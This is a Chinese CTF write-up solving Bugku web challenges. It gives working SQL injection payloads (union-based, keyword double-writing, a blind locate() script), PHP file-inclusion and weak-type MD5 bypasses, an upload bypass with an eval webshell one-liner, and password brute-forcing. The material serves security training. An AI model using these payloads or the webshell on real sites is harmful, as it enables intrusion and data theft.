bugku web部分write up

作者: hxf981224 分类: 未分类 发布时间: 2019-10-25 15:50

变量1

http://123.206.87.240:8004/index1.php

打开页面是一段源码

看到了args考虑到可能回会考GLOBALS变量,直接构造payload赋值

 ?args-=GLOBALS

flag

 flag{92853051ab894a64f7865cf3c2128b34}

web5

http://123.206.87.240:8002/web5/

打开页面

审计页面源代码

发现一串JSFUCK 字符串复制下来拿到控制台运行得到flag

flag

 "ctf{whatfk}"

头等舱

http://123.206.87.240:9009/hd.php

打开页面什么也没有查看页面源代码什么也没有,所以尝试抓包

flag

 flag{Bugku_k8_23s_istra}

网站被黑

http://123.206.87.240:8002/webshell/

打开页面鼠标不能点击,查看页面源代码也没有发现任何有价值的线索

所以御剑扫描一下扫到shell.php

打开十个密码密码输入框,试了弱口令无效所以进行爆破

爆破结果hack

得到flag

flag

 flag{hack_bug_ku035}

web4

http://123.206.87.240:8002/web4/

打开页面是

查看页面源代码发现有三段url编码还有一个公式

所以我们解码第一段

 %66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62
 解码结果
 function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

第二段

 %61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b
 解码后
 aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

第三段

 %35%34%61%61%32
 结果
 54aa2

按照公式三段加起来解码结果

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

flag

KEY{J22JK-HS11}

flag在index里

http://123.206.87.240:8005/post/

打开页面

页面源代码

<html>
    <title>Bugku-ctf</title>
    
<a href="./index.php?file=show.php">click me? no</a></html>

从上面代码中可以看出存在文件包含漏洞,我们可以php伪协议把index的源码给脱下来

payload

?file=php://filter/read=convert.base64-encode/resource=index.php
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

解码

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

得到flag

flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

http://123.206.87.240:8002/baopo/

打开页面

提示输入五位数密码爆破

爆破结果13579输入密码得到flag

flag

flag{bugku-baopo-hah}

备份是个好习惯

http://123.206.87.240:8002/web16/

打开一串MD5解码后没有任何价值

没有任何价值,所以题目提示备份我们会想到.bak或者.swp,所以尝试过后发现.有.bak环境

打开是一段代码如下所示

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);//将key替换为空
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>//php弱类型 传两个字符不相等但是MD5相等的字符串绕过

所以payload

?kkeyey1=QNKCDZO&kkeyey2=240610708
0e8304004519934940580242199033910e462097431906509019562988736854Bugku{OH_YOU_FIND_MY_MOMY}鍙栧緱flag

成绩单

http://123.206.87.240:8002/chengjidan/

打开页面是这个查询框

所以想到sql注入查看页面元代码是post的方式提交,变量为id

注出数据库名

id=1' and 1=2 union select 1,2,database(),4#

注出表名

id=1' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4#

注出列名

id=1' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),4#

注出数据库内容

id=1' and 1=2 union select 1,2,(select group_concat(skctf_flag) from fl4g),4#

flag

	BUGKU{Sql_INJECT0N_4813drd8hz4}

速度要快

速度要快!!!!!!http://123.206.87.240:8002/web6/

打开页面

查看页面源代码

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

告诉我me要穿一个我们得到的margin,用bp抓包,在repeater中go会发现在response中有flag,但是多go几次发现flag会变化,而且flag看着像是base64编码,于是解码试试,还真能解出来,但是肯定不对,因为既让每次的flag都不一样,那么一次解出来的肯定不对,于是想到写个脚本来读取headers中的flag再解码后post来尝试

脚本

import requests
import base64
import re
url='http://123.206.87.240:8002/web6/'
r=requests.session()
s=r.get(url)
flag=s.headers['flag']
mid=base64.b64decode(flag)
mid=mid.decode()
flag=base64.b64decode(mid.split(':')[1])
data={'margin':flag}
print (r.post(url,data=data).text)

flag

KEY{111dd62fcd377076be18a}

cookies欺骗

http://123.206.87.240:8002/web11/

打开页面是一堆无用的字符,在url中发现文件包含,包含的文件名是经过base64为加密过后的密文所以我们联想到将index.phpbase64加密payload

http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw

返现line值改变显示的结果会改变所以写个脚本

import requests
for i  in range(1,30):
    url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
    r=requests.get(url)
    print(r.text)

结果

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

审计代码发现cookie=margin就可以输出keys.php文件

所以抓包改包payload如下

flag

<?php $key='KEY{key_keys}'; ?>

never give up

http://123.206.87.240:8006/test/hello.php

打开页面

查看页面源代码

<!--1p.html-->
never never never give up !!!

发现1p.html于是访问

于是访问view-source:http://123.206.87.240:8006/test/1p.html

发现了一段经过base64加密的密文,

%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E
解密结果
";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("f4l2a3g.txt");
}
else
{
	print "never never never give up !!!";
}


?>

然而这一大堆有用的不多,根据观察flag好像在f4l2a3g.txt中

所以我们访问view-source:http://123.206.87.240:8006/test/f4l2a3g.txt

得到flag

flag

flag{tHis_iS_THe_fLaG}

过狗一句话

http://123.206.87.240:8010/

<?php 
$poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
$poc_2($_GET['s']);
?>

就是说将poc以#为分隔符截开赋给poc_1,再将poc_1数组中的元素连接赋给poc_2,完成后poc_2就是assert,所以最后一句就是assert(,所以就是执行​_GET[‘s’]

scandir() 函数

scandir() 函数返回指定目录中的文件和目录的数组。

实列

<?php
$dir = "/images/";

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

print_r($a);
print_r($b);
?>
运行结果
Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)

所以本题要输出目录payload

?s=print_r(scandir(%27./%27))

前女友(SKCTF)

http://123.206.31.85:49162/

打开页面

查看页面源代码

<html>
<head>
    <title></title>
    <style type="text/css">
    .link {
        text-decoration: none;
        color: #000;
    }
    .link:hover {
        text-decoration: none;
        color: #000;
    }
    </style>
</head>
<body>
<div align="center">
<p>分手了,纠结再三我没有拉黑她,原因无它,放不下。
<p>终于那天,竟然真的等来了她的消息:“在吗?”
<p>我神色平静,但颤抖的双手却显示出我此刻的激动。“怎么了?有事要我帮忙?”
<p>“怎么,没事就不能联系了吗?”结尾处调皮表情,是多么的陌生和熟悉……
<p>“帮我看看这个...”说着,她发来一个<a class="link" href="code.txt" target="_blank">链接</a>。
<p>不忍心拂她的意就点开了链接,看着屏幕我的心久久不能平静,往事一幕幕涌上心头......
<p>。。。。。。
<p>“我到底做错了什么,要给我看这个!”
<p>“还记得你曾经说过。。。。。。。。”
<h2>PHP是世界上最好的语言</h2>
</div>
</body>
</html>

上述源代码发现连接

code.txt,点击跳转得到一段代码

分析代码学院要传v1,v2,字符串不一样但是MD5加密后一样的,这就是php弱类型,然后在比较v3与flag/strcmp一个漏洞不能比较数组所以payload如下

?v1=QNKCDZO&v2=240610708&v3[]

flag

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

login1(SKCTF)

http://123.206.31.85:49163/

这是一道登录框题尝试万能密码没有任何结果,注册一个用户,结果不是管理员不能查看flag

然后尝试用约束攻击,约束攻击的原理就是注册用户名为’admin ‘(有多个空格,这里是三个)的账号,密码’123’(密码可以自定义),然后登陆成功,但是数据库会返回表中的第一个用户,也就是真真实实的admin(这个漏洞只可能在老版本的sql中出现,新版本的mysql已经修复漏洞),然后就可以用admin的身份登陆网页,拿到flag

flag

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

md5 collision(NUPT_CTF)

http://123.206.87.240:9009/md5.php

打开页面

所有我们考虑到PHP弱类型,我们要输入MD5加密后是0e开的字符,所以payload

?a=240610708

flag

flag{md5_collision_is_easy}

程序员本地网站

http://123.206.87.240:8002/localhost/

打开页面

提示从本地访问所以我们改包修改x-forwarded-for:字段

得到flag

flag

flag{loc-al-h-o-st1}

各种绕过

http://123.206.87.240:8002/web7/

打开页面出现一端源代码

<?php 
highlight_file('flag.php'); 
$_GET['id'] = urldecode($_GET['id']); 
$flag = 'flag{xxxxxxxxxxxxxxxxxx}'; 
if (isset($_GET['uname']) and isset($_POST['passwd'])) { 
    if ($_GET['uname'] == $_POST['passwd']) 

        print 'passwd can not be uname.'; 

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')) 

        die('Flag: '.$flag); 

    else 

        print 'sorry!'; 

} 

分析源代码:id要经过url编码切==margin,uname强等于passwd,且passwd提交方式为psot所以paoyload

?id=margin&uname[]=1

passwd[]=2

flag

flag{HACK_45hhs_213sDD}

web8

http://123.206.87.240:8002/web8/

打开页面

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

file_get_contents() 函数把整个文件读入一个字符串中。

可以使用php://input给$fn赋值所有payload

?ac=aaaa&fn=php://input

aaaa

flag

flag{3cfb7a90fc0de31}

细心

地址:http://123.206.87.240:8002/web13/

打开页面

提示2去访问其他文件或目录所以我们访问一下rotobs.txt文件

有一个resusl.php文件访问得到

我们要想办法提升为admin 管理员,现房有个提示x==password,所以我们给x赋值为admin

payload

http://123.206.87.240:8002/web13/resusl.php?x=admin

flag

flag(ctf_0098_lkji-s)

求getshell

http://123.206.87.240:8002/web9/

打开页面

这是一到上传题

如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,这里将文件的后缀名改为.jpg和.png都不可行,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag

这是一个神奇的登陆框

http://123.206.87.240:9001/sql/

打开页面

是一个登录框尝试万能密码后无效,所以尝试注入,查看页面源代码

<form action="" name="form1" method="post">
	<div >
	<!-- UserName : -->
	    <input class="op" type="text"  name="admin_name" value="" placeholder="Username"/>
	</div>
	<div style="margin-top:15px;">
	<!-- PassWord : -->
		<input class="op" type="password" name="admin_passwd" value="" placeholder="Password"/>
		<!--**************************************-->
		<!--23333-->
		<!--**************************************-->
	</div></br>

报错payload

admin_name=1"&admin_passwd=1

查数据库名字

admin_name=1" union select database(),2%23&admin_passwd=1&submit=GO+GO+GO

注出表名

admin_name=1" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23&admin_passwd=1&submit=GO+GO+GO

注出列名

admin_name=1" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1'%23&admin_passwd=1&submit=GO+GO+GO

注出数据库内容

admin_name=1" union select group_concat(flag1),2 from flag1%23&admin_passwd=1&submit=GO+GO+GO

flag

ed6b28e684817d9efcaf802979e57aea

多次

http://123.206.87.240:9004

打开页面是一个

url上id=1,所有考虑是一个sql注入题,尝试报错发现单引号报错,注出表名的时候出错显然是有些函数被过滤掉了!,在这里我们有个方法可以很好的指导那些韩硕被过滤掉了,那就是异或注入

 1、使用:在id=1后面加上’(str)‘  str是由我们定义的命令

 2、原理分析:

    id=1为真,如果它异或一个假,那就返回真,整个页面也就正常;反之,如果它异或一个真,那就返回假,这个页面也就不正常

    所以,如果页面正常与否和命令的真值是相反的——页面正常,命令的真值为假;页面不正常,命令才为真

3、简单实验:

    a.?id=1′(0)‘  页面正常

    b.?id=1′(1=1)‘  页面不正常

    //注意:输入URL的时候单引号一定要是英文的!!!小心输入法的

所以我们构造payload测试那些函数被过滤掉了

?id=1'^(length('测试函数')=测试函数长度)

经过测试返现union select or and 被过滤掉了,在这里我们尝试了双写绕过发现可以

注数据库名

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,database()%23

注表名

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23

注出列名flag1,hint flag1,address id,contents

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'%23

注出数据库内容

http://123.206.87.240:9004/1ndex.php?id=1' aandnd 1=2 uunionnion sselectelect 1,group_concat(flag1,address) from flag1%23

因为提示有多个flag我们访问Once_More.php页面

又是一个sql注入,尝试常规的

id=1’  报错

id=1’%23  不报错

id=1′ and 1=1%23  不报错

id=1′ and 1=2%23  报错

id=1′ and 1=2 union select 1,2%23 

既然它会有所输出,那我就把所有的要用到的字符都输进去,看看它会怎么样

id=1 union select limit from and or where if sleep substr ascii

发现union sleep substr都不能用了

剩下的我实在是不会了,只能借鉴大佬的了:

那就是不能回显,substr也不能用了

我这里用了一个不常用的函数locate() 直接判断查出来的数据里面有那些字符,然后将它们按顺序排序

def user():
    flag =''
    for j in xrange(1, 100):
        temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break

flag

usOwycTju+FTUUzXosjr

文件包含2

http://123.206.31.85:49166/

打开页面

什么也没有 这个时候我用御剑扫了一下结果如下

发现上传页面打开让上传png文件

我直接使用小马

我们访问我们长传的文件执行命令发现<? >被过滤;了

所以我们要绕过过滤

<?=@eval($_POST['margin']);

上传发现没有被过滤访问页面

发现flag在this_is_th3_F14g_154f65sd4g35f4d6f43.txt文件里我们查看这文件

flag

SKCTF{uP104D_1nclud3_426fh8_is_Fun} 

flag.php

http://123.206.87.240:8002/flagphp/

打开页面输入用户名和密码没有任何反应,题目提示hint

我们给hint赋值=1结果出现一段源代码

<?php 
error_reporting(0); 
include_once("flag.php"); 
$cookie = $_COOKIE['ISecer']; 
if(isset($_GET['hint'])){ 
    show_source(__FILE__); 
} 
elseif (unserialize($cookie) === "$KEY") 
{    
    echo "$flag"; 
} 
else { 
?> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
<title>Login</title> 
<link rel="stylesheet" href="admin.css" type="text/css"> 
</head> 
<body> 
<br> 
<div class="container" align="center"> 
  <form method="POST" action="#"> 
    <p><input name="user" type="text" placeholder="Username"></p> 
    <p><input name="password" type="password" placeholder="Password"></p> 
    <p><input value="Login" type="button"/></p> 
  </form> 
</div> 
</body> 
</html> 

<?php 
} 
$KEY='ISecer:www.isecer.com'; 
?>

代码的意思就是让cookie的反序列化等于key所以我们访问flag.php,天剑ISecer为空

login2(SKCTF)

http://123.206.31.85:49165/

打开页面

输入用户名和密码抓一下包

JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9

解码后

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

从代码中可以看到这是哥分离式的验证方式,首先查询username的用户名,然后拿出password在进行比较,所以payload

username=' unionselect 1,md5(1)%23password=1

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云